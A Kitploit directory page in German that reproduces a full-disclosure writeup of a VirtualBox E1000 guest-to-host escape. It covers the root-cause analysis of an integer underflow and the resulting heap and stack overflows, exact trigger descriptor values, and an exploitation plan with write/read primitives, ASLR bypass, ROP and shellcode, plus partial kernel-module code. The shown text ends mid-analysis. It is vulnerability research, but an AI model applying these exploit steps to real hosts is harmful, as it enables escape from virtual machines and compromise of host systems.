Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
virtualbox_e1000_0day — VirtualBox E1000 Gast-zu-Host-Escape | Kitploit
Tools/GitHubGitHub/mortenoir1/virtualbox_e1000_0day
SchwachstellenanalyseExploitationPenetrationstestsHardware-SicherheitBinary-Exploitation
GitHubmortenoir1/virtualbox_e1000_0day

virtualbox_e1000_0day

VirtualBox E1000 Gast-zu-Host-Escape

Repository anzeigen
1.4k196vor 7 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Warum

Ich mag VirtualBox, und das hat nichts damit zu tun, warum ich eine 0day-Schwachstelle veröffentliche. Der Grund ist meine Ablehnung des gegenwärtigen Zustands der Infosec, insbesondere der Sicherheitsforschung und des Bug Bounty:

  1. Ein halbes Jahr zu warten, bis eine Schwachstelle gepatcht ist, gilt als in Ordnung.
  2. Im Bug-Bounty-Bereich gelten diese Dinge als in Ordnung:
    1. Mehr als einen Monat zu warten, bis eine eingereichte Schwachstelle verifiziert und eine Entscheidung über Kauf oder Nichtkauf getroffen wird.
    2. Die Entscheidung im Nachhinein zu ändern. Heute stellt man fest, dass das Bug-Bounty-Programm Bugs in einer Software kauft; eine Woche später kommt man mit Bugs und Exploits und erhält „nicht interessiert“.
    3. Keine präzise Liste von Software zu haben, für die ein Bug Bounty Bugs kaufen möchte. Praktisch für Bug Bounties, unangenehm für Forscher.
    4. Keine präzisen Unter- und Obergrenzen für Schwachstellenpreise zu haben. Es gibt viele Faktoren, die einen Preis beeinflussen, aber Forscher müssen wissen, woran sich zu arbeiten lohnt und woran nicht.
  3. Größenwahn und Marketing-Bullshit: Schwachstellen benennen und Websites dafür erstellen; tausend Konferenzen im Jahr abhalten; die Bedeutung der eigenen Arbeit als Sicherheitsforscher übertreiben; sich selbst als „Weltenretter“ betrachten. Kommen Sie herunter, Hoheit.

Ich bin der ersten beiden überdrüssig, daher ist mein Schritt Full Disclosure. Infosec, bitte kommt voran.

Allgemeine Informationen

Verwundbare Software: VirtualBox 5.2.20 und frühere Versionen.

Host-Betriebssystem: beliebig, der Fehler befindet sich in einer gemeinsamen Codebasis.

Gast-Betriebssystem: beliebig.

VM-Konfiguration: Standard (die einzige Anforderung ist, dass eine Netzwerkkarte Intel PRO/1000 MT Desktop (82540EM) ist und der Modus NAT ist).

So schützen Sie sich

Bis der gepatchte VirtualBox-Build verfügbar ist, können Sie die Netzwerkkarte Ihrer virtuellen Maschinen auf PCnet (eine der beiden) oder auf Paravirtualized Network umstellen. Wenn das nicht möglich ist, ändern Sie den Modus von NAT auf einen anderen. Der erstere Weg ist sicherer.

Einführung

Ein standardmäßiges virtuelles Netzwerkgerät von VirtualBox ist Intel PRO/1000 MT Desktop (82540EM) und der Standard-Netzwerkmodus ist NAT. Wir bezeichnen es als E1000.

Das E1000 weist eine Schwachstelle auf, die es einem Angreifer mit Root-/Administratorrechten in einem Gast ermöglicht, in den ring3 des Hosts auszubrechen. Anschließend kann der Angreifer vorhandene Techniken nutzen, um die Privilegien über /dev/vboxdrv auf ring 0 auszuweiten.

Details zur Schwachstelle

E1000 101

Um Netzwerkpakete zu senden, macht ein Gast das, was ein gewöhnlicher PC tut: Er konfiguriert eine Netzwerkkarte und übergibt ihr Netzwerkpakete. Die Pakete bestehen aus Frames der Sicherungsschicht und anderen, höheren Headern. Pakete, die dem Adapter übergeben werden, sind in Tx-Deskriptoren verpackt (Tx bedeutet Transmit). Der Tx-Deskriptor ist eine Datenstruktur, die im 82540EM-Datenblatt (317453006EN.PDF, Revision 4.0) beschrieben ist. Er speichert Metainformationen wie Paketgröße, VLAN-Tag, Flags für aktivierte TCP/IP-Segmentierung usw.

Das 82540EM-Datenblatt sieht drei Tx-Deskriptortypen vor: Legacy, Context und Data. Legacy ist meines Erachtens veraltet. Die anderen beiden werden zusammen verwendet. Uns interessiert nur, dass Context-Deskriptoren die maximale Paketgröße festlegen und die TCP/IP-Segmentierung umschalten, und dass Data-Deskriptoren physische Adressen von Netzwerkpaketen und deren Größen enthalten. Die Paketgröße des Data-Deskriptors muss kleiner sein als die maximale Paketgröße des Context-Deskriptors. Normalerweise werden Context-Deskriptoren vor den Data-Deskriptoren an die Netzwerkkarte übergeben.

Um der Netzwerkkarte Tx-Deskriptoren zuzuführen, schreibt ein Gast sie in den Tx-Ring. Dies ist ein Ringpuffer, der sich an einer vordefinierten Adresse im physischen Speicher befindet. Wenn alle Deskriptoren in den Tx-Ring geschrieben wurden, aktualisiert der Gast das E1000-MMIO-TDT-Register (Transmit Descriptor Tail), um dem Host mitzuteilen, dass neue Deskriptoren zu verarbeiten sind.

Eingabe

Betrachten Sie das folgende Array von Tx-Deskriptoren:``` [context_1, data_2, data_3, context_4, data_5]

root@kitploit:~
Ordnen wir ihre Strukturfelder wie folgt zu (die Feldnamen sind hypothetisch, damit sie für Menschen lesbar sind, bilden aber direkt die 82540EM-Spezifikation ab):```
context_1.header_length = 0
context_1.maximum_segment_size = 0x3010
context_1.tcp_segmentation_enabled = true

data_2.data_length = 0x10
data_2.end_of_packet = false
data_2.tcp_segmentation_enabled = true

data_3.data_length = 0
data_3.end_of_packet = true
data_3.tcp_segmentation_enabled = true

context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

Wir werden in unserer Schritt-für-Schritt-Analyse erfahren, warum sie so sein sollten.

Ursachenanalyse

[context_1, data_2, data_3] Verarbeitung

Nehmen wir an, die obigen Descriptoren werden in der angegebenen Reihenfolge in den Tx Ring geschrieben und das TDT-Register wird vom Gast aktualisiert. Nun führt der Host die Funktion e1kXmitPending in der Datei src/VBox/Devices/Network/DevE1000.cpp aus (die meisten Kommentare wurden und werden zugunsten der Lesbarkeit entfernt):```c static int e1kXmitPending(PE1KSTATE pThis, bool fOnWorkerThread) { ... while (!pThis->fLocked && e1kTxDLazyLoad(pThis)) { while (e1kLocateTxPacket(pThis)) { fIncomplete = false; rc = e1kXmitAllocBuf(pThis, pThis->fGSO); if (RT_FAILURE(rc)) goto out; rc = e1kXmitPacket(pThis, fOnWorkerThread); if (RT_FAILURE(rc)) goto out; }

root@kitploit:~
e1kTxDLazyLoad liest alle 5 Tx-Deskriptoren aus dem Tx-Ring. Dann wird e1kLocateTxPacket zum ersten Mal aufgerufen. Diese Funktion iteriert über alle Deskriptoren, um einen Anfangszustand einzurichten, verarbeitet sie aber nicht tatsächlich. In unserem Fall verarbeitet der erste Aufruf von e1kLocateTxPacket die Deskriptoren context_1, data_2 und data_3. Die beiden verbleibenden Deskriptoren, context_4 und data_5, werden bei der zweiten Iteration der while-Schleife verarbeitet (wir werden die zweite Iteration im nächsten Abschnitt behandeln). Diese zweiteilige Array-Aufteilung ist entscheidend, um die Schwachstelle auszulösen, also lass uns herausfinden, warum.

e1kLocateTxPacket sieht wie folgt aus:```c
static bool e1kLocateTxPacket(PE1KSTATE pThis)
{
...
    for (int i = pThis->iTxDCurrent; i < pThis->nTxDFetched; ++i)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[i];
        switch (e1kGetDescType(pDesc))
        {
            case E1K_DTYP_CONTEXT:
                e1kUpdateTxContext(pThis, pDesc);
                continue;
            case E1K_DTYP_LEGACY:
                ...
                break;
            case E1K_DTYP_DATA:
                if (!pDesc->data.u64BufAddr || !pDesc->data.cmd.u20DTALEN)
                    break;
                ...
                break;
            default:
                AssertMsgFailed(("Impossible descriptor type!"));
        }

Der erste Deskriptor (context_1) ist vom Typ E1K_DTYP_CONTEXT, daher wird die Funktion e1kUpdateTxContext aufgerufen. Diese Funktion aktualisiert einen TCP Segmentation Context, wenn TCP Segmentation für den Deskriptor aktiviert ist. Für context_1 trifft das zu, daher wird der TCP Segmentation Context aktualisiert. (Was das Aktualisieren des TCP Segmentation Context tatsächlich bewirkt, ist nicht wichtig, und wir verwenden dies nur, um uns auf den folgenden Code zu beziehen.)

Der zweite Deskriptor (data_2) ist vom Typ E1K_DTYP_DATA, daher werden einige für die Diskussion unnötige Aktionen ausgeführt.

Der dritte Deskriptor (data_3) ist ebenfalls vom Typ E1K_DTYP_DATA, aber da data_3.data_length == 0 ist, wird keine Aktion ausgeführt.

In dem Moment werden die drei Deskriptoren zunächst verarbeitet und die beiden verbleiben. Nun zur Sache: Nach der switch-Anweisung gibt es eine Prüfung, ob das end_of_packet-Feld eines Deskriptors gesetzt wurde. Für den Deskriptor data_3 ist das der Fall (data_3.end_of_packet == true). Der Code führt einige Aktionen aus und kehrt aus der Funktion zurück:```c if (pDesc->legacy.cmd.fEOP) { ... return true; }

root@kitploit:~
Wenn `data_3.end_of_packet` `false` gewesen wäre, würden die verbleibenden Deskriptoren `context_4` und `data_5` verarbeitet werden und die Schwachstelle wäre umgangen worden. Unten siehst du, warum die Rückkehr aus der Funktion zu dem Fehler führt.

Am Ende der Funktion `e1kLocateTxPacket` haben wir die folgenden Deskriptoren bereit, um Netzwerkpakete zu entpacken und an ein Netzwerk zu senden: `context_1`, `data_2`, `data_3`. Dann ruft die innere Schleife von `e1kXmitPending` die Funktion `e1kXmitPacket` auf. Diese Funktion iteriert über alle Deskriptoren (in unserem Fall 5), um sie tatsächlich zu verarbeiten:```c
static int e1kXmitPacket(PE1KSTATE pThis, bool fOnWorkerThread)
{
...
    while (pThis->iTxDCurrent < pThis->nTxDFetched)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[pThis->iTxDCurrent];
        ...
        rc = e1kXmitDesc(pThis, pDesc, e1kDescAddr(TDBAH, TDBAL, TDH), fOnWorkerThread);
        ...
        if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP)
            break;
    }

Für jeden Deskriptor wird die Funktion e1kXmitDesc aufgerufen:```c static int e1kXmitDesc(PE1KSTATE pThis, E1KTXDESC *pDesc, RTGCPHYS addr, bool fOnWorkerThread) { ... switch (e1kGetDescType(pDesc)) { case E1K_DTYP_CONTEXT: ... break; case E1K_DTYP_DATA: { ... if (pDesc->data.cmd.u20DTALEN == 0 || pDesc->data.u64BufAddr == 0) { E1kLog2(("% Empty data descriptor, skipped.\n", pThis->szPrf)); } else { if (e1kXmitIsGsoBuf(pThis->CTX_SUFF(pTxSg))) { ... } else if (!pDesc->data.cmd.fTSE) { ... } else { STAM_COUNTER_INC(&pThis->StatTxPathFallback); rc = e1kFallbackAddToFrame(pThis, pDesc, fOnWorkerThread); } } ...

root@kitploit:~
Der erste an e1kXmitDesc übergebene Deskriptor ist context_1. Die Funktion tut nichts mit Kontext-Deskriptoren.

Der zweite an e1kXmitDesc übergebene Deskriptor ist data\_2. Da alle unsere Daten-Deskriptoren tcp\_segmentation\_enable == true haben (pDesc->data.cmd.fTSE oben), rufen wir e1kFallbackAddToFrame auf, wo es zu einem Integer-Unterlauf kommt, während data\_5 verarbeitet wird.```c
static int e1kFallbackAddToFrame(PE1KSTATE pThis, E1KTXDESC *pDesc, bool fOnWorkerThread)
{
    ...
    uint16_t u16MaxPktLen = pThis->contextTSE.dw3.u8HDRLEN + pThis->contextTSE.dw3.u16MSS;

    /*
     * Carve out segments.
     */
    int rc = VINF_SUCCESS;
    do
    {
        /* Calculate how many bytes we have left in this TCP segment */
        uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            /* This descriptor fits completely into current segment */
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }
        else
        {
            ...
        }

        pDesc->data.u64BufAddr    += cb;
        pDesc->data.cmd.u20DTALEN -= cb;
    } while (pDesc->data.cmd.u20DTALEN > 0 && RT_SUCCESS(rc));

    if (pDesc->data.cmd.fEOP)
    {
        ...
        pThis->u16TxPktLen = 0;
        ...
    }

    return VINF_SUCCESS; /// @todo consider rc;
}

Die wichtigsten Variablen hier sind u16MaxPktLen, pThis->u16TxPktLen und pDesc->data.cmd.u20DTALEN.

Lassen Sie uns eine Tabelle erstellen, in der die Werte dieser Variablen vor und nach der Ausführung der Funktion e1kFallbackAddToFrame für die beiden Daten-Deskriptoren angegeben werden.

Sie müssen nur beachten, dass pThis->u16TxPktLen bei der Verarbeitung von data_3 gleich 0x10 ist.

Als Nächstes kommt der wichtigste Teil. Bitte schauen Sie sich erneut das Ende des Ausschnitts von e1kXmitPacket an:```c if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP) break;

root@kitploit:~
Da data_3 Typ != E1K_DTYP_CONTEXT und data_3.end_of_packet == true ist, brechen wir aus der Schleife aus, obwohl noch context_4 und data_5 verarbeitet werden müssen. Warum ist das wichtig? Der Schlüssel zum Verständnis der Schwachstelle ist zu verstehen, dass alle Kontextdeskriptoren vor den Datendescriptoren verarbeitet werden. Kontextdeskriptoren werden während der TCP-Segmentierungs-Kontextaktualisierung in e1kLocateTxPacket verarbeitet. Datendescriptoren werden später in der Schleife innerhalb der Funktion e1kXmitPacket verarbeitet. Die Absicht des Entwicklers war es, eine Änderung von u16MaxPktLen zu verbieten, nachdem einige Daten verarbeitet wurden, um Integer-Unterläufe im Code zu verhindern:```c
uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;

Aber wir können diesen Schutz umgehen: Erinnern wir uns, dass wir in e1kLocateTxPacket die Funktion wegen data_3.end_of_packet == true zur Rückkehr gezwungen haben. Und dadurch bleiben zwei Deskriptoren (context_4 und data_5) zu verarbeiten übrig, obwohl pThis->u16TxPktLen den Wert 0x10 hat, nicht 0. Es besteht also die Möglichkeit, u16MaxPktLen mithilfe von context_4.maximum_segment_size zu ändern, um den Integer-Unterlauf auszulösen.

[context_4, data_5]-Verarbeitung

Nachdem nun die ersten drei Deskriptoren verarbeitet wurden, gelangen wir erneut zur inneren Schleife von e1kXmitPending:```c while (e1kLocateTxPacket(pThis)) { fIncomplete = false; rc = e1kXmitAllocBuf(pThis, pThis->fGSO); if (RT_FAILURE(rc)) goto out; rc = e1kXmitPacket(pThis, fOnWorkerThread); if (RT_FAILURE(rc)) goto out; }

root@kitploit:~
Hier rufen wir e1kLocateTxPacket für die anfängliche Verarbeitung der Deskriptoren context_4 und data_5 auf. Es wurde gesagt, dass wir context_4.maximum_segment_size auf eine Größe setzen können, die kleiner ist als die Größe der bereits gelesenen Daten, also kleiner als 0x10. Zur Erinnerung: unsere eingegebenen Tx-Deskriptoren:```
context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

Als Ergebnis des Aufrufs von e1kLocateTxPacket haben wir eine maximale Segmentgröße von 0xF, während die Größe der bereits gelesenen Daten 0x10 beträgt.

Schließlich gelangen wir bei der Verarbeitung von data_5 erneut zu e1kFallbackAddToFrame und haben die folgenden Variablenwerte:

Tx-DeskriptorVorher/Nachheru16MaxPktLenpThis->u16TxPktLenpDesc->data.cmd.u20DTALEN

Und daher haben wir einen Integer-Unterlauf:```c uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen; => uint32_t cb = 0xF - 0x10 = 0xFFFFFFFF;

root@kitploit:~
Dies macht die folgende Prüfung wahr, da 0xFFFFFFFF > 0x4188:```c
        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }

Die Funktion e1kFallbackAddSegment wird mit der Größe 0x4188 aufgerufen. Ohne die Schwachstelle ist es unmöglich, e1kFallbackAddSegment mit einer Größe größer als 0x3FA0 (E1K_MAX_TX_PKT_SIZE == 0x3FA0) aufzurufen, da es während der TCP-Segmentierungskontext-Aktualisierung in e1kUpdateTxContext eine Prüfung gibt, dass die maximale Segmentgröße kleiner oder gleich 0x3FA0 ist:```c DECLINLINE(void) e1kUpdateTxContext(PE1KSTATE pThis, E1KTXDESC *pDesc) { ... uint32_t cbMaxSegmentSize = pThis->contextTSE.dw3.u16MSS + pThis->contextTSE.dw3.u8HDRLEN + 4; /VTAG/ if (RT_UNLIKELY(cbMaxSegmentSize > E1K_MAX_TX_PKT_SIZE)) { pThis->contextTSE.dw3.u16MSS = E1K_MAX_TX_PKT_SIZE - pThis->contextTSE.dw3.u8HDRLEN - 4; /VTAG/ ... }

root@kitploit:~
### Pufferüberlauf
Wir haben e1kFallbackAddSegment mit der Größe 0x4188 aufgerufen. Wie kann dies ausgenutzt werden? Es gibt mindestens zwei Möglichkeiten, die ich gefunden habe. Erstens werden Daten vom Gast in einen Heap-Puffer gelesen:```c
static int e1kFallbackAddSegment(PE1KSTATE pThis, RTGCPHYS PhysAddr, uint16_t u16Len, bool fSend, bool fOnWorkerThread)
{
    ...
    PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), PhysAddr,
                      pThis->aTxPacketFallback + pThis->u16TxPktLen, u16Len);

Hier ist pThis->aTxPacketFallback der Puffer der Größe 0x3FA0 und u16Len ist 0x4188 — ein offensichtlicher Überlauf, der beispielsweise zu einer Überschreibung von Funktionszeigern führen kann.

Zweitens fanden wir bei näherer Untersuchung heraus, dass e1kFallbackAddSegment die Funktion e1kTransmitFrame aufruft, die bei einer bestimmten Konfiguration der E1000-Register die Funktion e1kHandleRxPacket aufrufen kann. Diese Funktion reserviert einen Stack-Puffer der Größe 0x4000 und kopiert dann Daten einer festgelegten Länge (in unserem Fall 0x4188) ohne jede Prüfung in den Puffer:```c static int e1kHandleRxPacket(PE1KSTATE pThis, const void *pvBuf, size_t cb, E1KRXDST status) { #if defined(IN_RING3) uint8_t rxPacket[E1K_MAX_RX_PKT_SIZE]; ... if (status.fVP) { ... } else memcpy(rxPacket, pvBuf, cb);

root@kitploit:~
Wie du siehst, haben wir einen Integer-Unterlauf in einen klassischen Stack-Pufferüberlauf verwandelt. Die beiden oben genannten Überläufe – Heap- und Stack-Überlauf – werden im Exploit verwendet.

## Exploit
Der Exploit ist ein Linux-Kernelmodul (LKM), das in einem Gast-Betriebssystem geladen wird. Der Windows-Fall würde einen Treiber erfordern, der sich vom LKM nur durch einen Initialisierungs-Wrapper und Kernel-API-Aufrufe unterscheidet.

Erhöhte Rechte sind erforderlich, um einen Treiber in beiden Betriebssystemen zu laden. Das ist üblich und wird nicht als unüberwindbares Hindernis betrachtet. Schau dir den Pwn2Own-Wettbewerb an, wo Forscher Exploit-Ketten verwenden: Ein Browser, der eine bösartige Website im Gast-Betriebssystem öffnet, wird ausgenutzt, ein Browser-Sandbox-Escape wird durchgeführt, um vollen Ring-3-Zugriff zu erlangen, eine Betriebssystem-Schwachstelle wird ausgenutzt, um den Weg zu Ring 0 zu ebnen, von wo aus man alles hat, was man braucht, um vom Gast-Betriebssystem aus einen Hypervisor anzugreifen.
Die mächtigsten Hypervisor-Schwachstellen sind sicherlich diejenigen, die vom Gast-Ring 3 aus ausgenutzt werden können. In VirtualBox gibt es ebenfalls solchen Code, der ohne Gast-Root-Rechte erreichbar ist, und dieser ist größtenteils noch nicht auditiert.

Der Exploit ist zu 100 % zuverlässig. Das bedeutet, er funktioniert entweder immer oder nie – wegen nicht übereinstimmender Binärdateien oder anderer, subtilerer Gründe, die ich nicht berücksichtigt habe. Er funktioniert zumindest auf Ubuntu 16.04 und 18.04 x86_64-Gästen mit Standardkonfiguration.

### Exploitationsalgorithmus
1) Ein Angreifer entlädt das standardmäßig in Linux-Gästen geladene e1000.ko und lädt das Exploit-LKM.
2) Das LKM initialisiert E1000 gemäß dem Datenblatt. Nur die Sendehälfte wird initialisiert, da für die Empfangshälfte kein Bedarf besteht.
3) Schritt 1: Informationsleck.
    1) Das LKM deaktiviert den E1000-Loopback-Modus, um den Code für den Stack-Pufferüberlauf unerreichbar zu machen.
    2) Das LKM nutzt die Integer-Unterlauf-Schwachstelle, um den Heap-Pufferüberlauf zu verursachen.
    3) Der Heap-Pufferüberlauf ermöglicht es, mithilfe des E1000-EEPROM zwei beliebige Bytes relativ zu einem Heap-Puffer im 128-KB-Bereich zu schreiben. Dadurch erlangt der Angreifer eine Schreib-Primitive.
    4) Das LKM verwendet die Schreib-Primitive 8 Mal, um Bytes in eine ACPI-Datenstruktur (Advanced Configuration and Power Interface) auf dem Heap zu schreiben. Die Bytes werden in eine Indexvariable eines Heap-Puffers geschrieben, aus dem später ein einzelnes Byte gelesen wird. Da die Puffergröße kleiner als die maximale Indexnummer (255) ist, kann der Angreifer über den Puffer hinaus lesen und erlangt so eine Lese-Primitive.
    5) Das LKM verwendet die Lese-Primitive 8 Mal, um auf ACPI zuzugreifen und 8 Bytes aus dem Heap zu erhalten. Diese Bytes sind ein Zeiger auf die gemeinsame Bibliothek VBoxDD.so.
    6) Das LKM subtrahiert den RVA vom Zeiger, um die Image-Basis von VBoxDD.so zu erhalten.
4) Schritt 2: Stack-Pufferüberlauf.
    1) Das LKM aktiviert den E1000-Loopback-Modus, um den Code für den Stack-Pufferüberlauf erreichbar zu machen.
    2) Das LKM nutzt die Integer-Unterlauf-Schwachstelle, um den Heap-Pufferüberlauf und den Stack-Pufferüberlauf zu verursachen. Die gespeicherte Rücksprungadresse (RIP/EIP) wird überschrieben. Der Angreifer erlangt die Kontrolle.
    3) Eine ROP-Kette wird ausgeführt, um einen Shellcode-Loader auszuführen.
5) Schritt 3: Shellcode.
    1) Der Shellcode-Loader kopiert einen Shellcode vom Stack neben sich selbst. Der Shellcode wird ausgeführt.
    2) Der Shellcode führt fork- und execve-Syscalls aus, um einen beliebigen Prozess auf der Host-Seite zu starten.
    3) Der Elternprozess führt die Prozessfortsetzung durch.
6) Der Angreifer entlädt das LKM und lädt e1000.ko erneut, um dem Gast die Nutzung des Netzwerks zu ermöglichen.

### Initialisierung
Das LKM bildet physischen Speicher bezüglich E1000-MMIO ab. Die physische Adresse und die Größe sind vom Hypervisor vordefiniert.```c
void* map_mmio(void) {
    off_t pa = 0xF0000000;
    size_t len = 0x20000;

    void* va = ioremap(pa, len);
    if (!va) {
        printk(KERN_INFO PFX"ioremap failed to map MMIO\n");
        return NULL;
    }

    return va;
}

Danach werden die E1000-General-Purpose-Register konfiguriert, der Tx-Ring-Speicher wird zugewiesen und die Übertragungsregister werden konfiguriert.```c void e1000_init(void* mmio) { // Configure general purpose registers

root@kitploit:~
configure_CTRL(mmio);

// Configure TX registers

g_tx_ring = kmalloc(MAX_TX_RING_SIZE, GFP_KERNEL);
if (!g_tx_ring) {
    printk(KERN_INFO PFX"Failed to allocate TX Ring\n");
    return;
}

configure_TDBAL(mmio);
configure_TDBAH(mmio);
configure_TDLEN(mmio);
configure_TCTL(mmio);

}

root@kitploit:~
### ASLR-Bypass
#### Write-Primitive
Von Beginn der Exploit-Entwicklung an habe ich beschlossen, keine Primitiven zu verwenden, die in standardmäßig deaktivierten Diensten zu finden sind. Das bedeutet in erster Linie den Chromium-Dienst (kein Browser), der für 3D-Beschleunigung sorgt und in dem Forscher im letzten Jahr mehr als 40 Schwachstellen gefunden haben.

Das Problem bestand darin, einen Information-Leak in den standardmäßigen VirtualBox-Subsystemen zu finden. Der naheliegende Gedanke war: Wenn der Integer-Unterlauf es erlaubt, den Heap-Puffer zu überlaufen, dann kontrollieren wir alles hinter dem Puffer. Wir werden sehen, dass keine einzige zusätzliche Schwachstelle erforderlich war: Der Integer-Unterlauf erwies sich als ziemlich mächtig, um daraus Read-, Write- und Information-Leak-Primitives abzuleiten, ganz zu schweigen vom Stack-Pufferüberlauf.

Lassen Sie uns untersuchen, was genau auf dem Heap überlaufen wird.```c
/**
 * Device state structure.
 */
struct E1kState_st
{
...
    uint8_t     aTxPacketFallback[E1K_MAX_TX_PKT_SIZE];
...
    E1kEEPROM   eeprom;
...
}

Hier ist aTxPacketFallback ein Puffer der Größe 0x3FA0, der mit Bytes, die aus einem Datendeskriptor kopiert werden, zum Überlaufen gebracht wird. Bei der Suche nach interessanten Feldern nach dem Puffer stieß ich auf die E1kEEPROM-Struktur, die eine weitere Struktur mit den folgenden Feldern enthält (src/VBox/Devices/Network/DevE1000.cpp):```c /**

  • 93C46-compatible EEPROM device emulation. */ struct EEPROM93C46 { ... bool m_fWriteEnabled; uint8_t Alignment1; uint16_t m_u16Word; uint16_t m_u16Mask; uint16_t m_u16Addr; uint32_t m_u32InternalWires; ... }
root@kitploit:~
Wie können wir sie ausnutzen? E1000 implementiert EEPROM, sekundären Adapterspeicher. Das Gast-Betriebssystem kann über E1000-MMIO-Register darauf zugreifen. EEPROM ist als endlicher Automat mit mehreren Zuständen implementiert und führt vier Aktionen aus. Uns interessiert nur „write to memory“. So sieht das aus (src/VBox/Devices/Network/DevEEPROM.cpp):```c
EEPROM93C46::State EEPROM93C46::opWrite()
{
    storeWord(m_u16Addr, m_u16Word);
    return WAITING_CS_FALL;
}

void EEPROM93C46::storeWord(uint32_t u32Addr, uint16_t u16Value)
{
    if (m_fWriteEnabled) {
        E1kLog(("EEPROM: Stored word %04x at %08x\n", u16Value, u32Addr));
        m_au16Data[u32Addr] = u16Value;
    }
    m_u16Mask = DATA_MSB;
}

Hier sind m_u16Addr, m_u16Word und m_fWriteEnabled Felder der EEPROM93C46-Struktur, die wir kontrollieren. Wir können sie so fehlerhaft gestalten, dass```c m_au16Data[u32Addr] = u16Value;

root@kitploit:~
Anweisung schreibt zwei Bytes an einem beliebigen 16-Bit-Offset von m_au16Data, das sich ebenfalls in der Struktur befindet. Wir haben eine Schreib-Primitive gefunden.

#### Lese-Primitive
Das nächste Problem bestand darin, Datenstrukturen auf dem Heap zu finden, in die wir beliebige Daten schreiben können, mit dem Hauptziel, einen Pointer auf eine Shared Library zu leaken, um dessen Image-Basis zu erhalten. Glücklicherweise war kein instabiler Heap-Spray nötig, denn die wichtigsten Datenstrukturen der virtuellen Geräte schienen aus einem internen Hypervisor-Heap alloziert zu sein, und zwar so, dass der Abstand zwischen ihnen immer konstant ist, obwohl ihre virtuellen Adressen natürlich durch ASLR randomisiert werden.

Wenn eine virtuelle Maschine gestartet wird, weist das PDM-Subsystem (Pluggable Device and Driver Manager) PDMDEVINS-Objekte im Hypervisor-Heap zu.```c
int pdmR3DevInit(PVM pVM)
{
...
        PPDMDEVINS pDevIns;
        if (paDevs[i].pDev->pReg->fFlags & (PDM_DEVREG_FLAGS_RC | PDM_DEVREG_FLAGS_R0))
            rc = MMR3HyperAllocOnceNoRel(pVM, cb, 0, MM_TAG_PDM_DEVICE, (void **)&pDevIns);
        else
            rc = MMR3HeapAllocZEx(pVM, MM_TAG_PDM_DEVICE, cb, (void **)&pDevIns);
...

Ich habe diesen Code unter GDB mit einem Skript verfolgt und diese Ergebnisse erhalten:``` [trace-device-constructors] Constructing a device #0x0: [trace-device-constructors] Name: "pcarch", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6f125a "PC Architecture Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d57517b <pcarchConstruct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc45486c1b0 [trace-device-constructors] Data size: 0x8

[trace-device-constructors] Constructing a device #0x1: [trace-device-constructors] Name: "pcbios", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6ef37b "PC BIOS Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d56bd3b <pcbiosConstruct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc45486c720 [trace-device-constructors] Data size: 0x11e8

...

[trace-device-constructors] Constructing a device #0xe: [trace-device-constructors] Name: "e1000", '\000' <repeats 26 times> [trace-device-constructors] Description: 0x7fc44d70c6d0 "Intel PRO/1000 MT Desktop Ethernet.\n" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d622969 <e1kR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc470083400 [trace-device-constructors] Data size: 0x53a0

[trace-device-constructors] Constructing a device #0xf: [trace-device-constructors] Name: "ichac97", '\000' <repeats 24 times> [trace-device-constructors] Description: 0x7fc44d716ac0 "ICH AC'97 Audio Controller" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d66a90f <ichac97R3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc470088b00 [trace-device-constructors] Data size: 0x1848

[trace-device-constructors] Constructing a device #0x10: [trace-device-constructors] Name: "usb-ohci", '\000' <repeats 23 times> [trace-device-constructors] Description: 0x7fc44d707025 "OHCI USB controller.\n" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d5ea841 <ohciR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008a4e0 [trace-device-constructors] Data size: 0x1728

